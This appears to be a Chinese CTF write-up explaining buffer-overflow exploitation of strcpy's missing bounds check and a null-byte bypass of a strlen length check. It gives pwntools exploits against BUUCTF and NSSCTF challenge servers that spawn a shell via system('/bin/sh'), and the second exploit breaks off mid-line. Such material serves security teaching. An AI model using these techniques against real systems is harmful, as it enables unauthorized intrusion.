strcpy,srtcmp,strlen函数漏洞利用

strcpy,srtcmp,strlen函数漏洞利用

strcpy
  1. strcpy函数用于将字符串复制到另一个指针指向的空间中,遇到空字符 **b’x\00’**时停止,:

    image-20240531103615735

  2. 所以可以利用 strcpy不检查缓冲区 的漏洞(构造的字符串要以\0结尾),进行缓冲区溢出攻击:

    例子:BUUCTF在线评测 (buuoj.cn)
    1. main函数中提供了4个函数供使用:

      image-20240531104018597

    2. 其中addlog函数进行输入,输入的长度位128个字符,调试观察他的栈上返回值(0x80488ec)在变量的上方,无法进行溢出,因此该函数只能作为输入:

      image-20240531104402495

      image-20240531104108026

    3. 后买你getflag函数中存在一个strcpy函数漏洞,可能可以进行栈溢出,动态调试观察其栈上的变化,可见只要 字符串长度超过0x4c 即可覆盖掉 getflag函数的返回值 ,在出去时即可挟持函数的控制流:

      image-20240531105005891

      image-20240531104533809

    4. 利用addlog函数输入构造的payload,长度超过0x4c即可,先只需要system函数地址,和’bin/sh/'字符串的地址即可,system函数程序自带,查询一下字符串:

      image-20240531105324125

    5. EXP:

      from pwn import *
      from LibcSearcher import *
      
      context(os='linux', arch='amd64', log_level='debug')
      
      p=remote("node5.buuoj.cn",28321)
      elf=ELF('./ciscn_2019_ne_5')
      
      p.recvuntil(b'Please input admin password:')
      payload = b'administrator'
      p.sendline(payload)
      p.recvuntil(b':')
      p.sendline(b'1')
      p.recv()
      
      #获取system地址
      sys_addr=elf.sym['system']
      sh_addr = 0x080482ea
      print(hex(sys_addr))
      
      #填充32位b'aaaa',作为system的返回值(不需要使用到,所以随便填)
      payload = b'a'*(0x4c)+p32(sys_addr)+b'aaaa'+p32(sh_addr)+b'\x00'
      p.sendline(payload)
      p.recvuntil(b':')
      p.sendline(b'4')
      p.interactive()
      
      

      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21
      • 22
      • 23
      • 24
      • 25
      • 26
      • 27
    strlen

    题目:[LitCTF 2023]狠狠的溢出涅~ | NSSCTF

    1. ida查看,题目给了一个栈溢出漏洞,虽然给了0x200的长度,但是后面用户strlen检查了输入的长度不能超过0x50,溢出长度明显不够。

    2. 但是可以利用strlen函数判断字符串时以 b’\x00’ 结尾,可以用b’\x00’绕过strlen的判断,EXP:

      from pwn import *
      from LibcSearcher import *
      # 设置系统架构, 打印调试信息
      # arch 可选 : i386 / amd64 / arm / mips
      context(os='linux', arch='amd64', log_level='debug')
      p = remote("node4.anna.nssctf.cn",28314)
      # p = process("./pwn4")
      elf = ELF('./pwn4')
      #获取got、plt地址
      got = elf.got['puts']
      plt = elf.plt['puts']
      print(hex(got),hex(plt))
      
      #获取传参地址
      pop_rdi_ret = 0x00000000004007d3
      main_addr = 0x0000000000
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值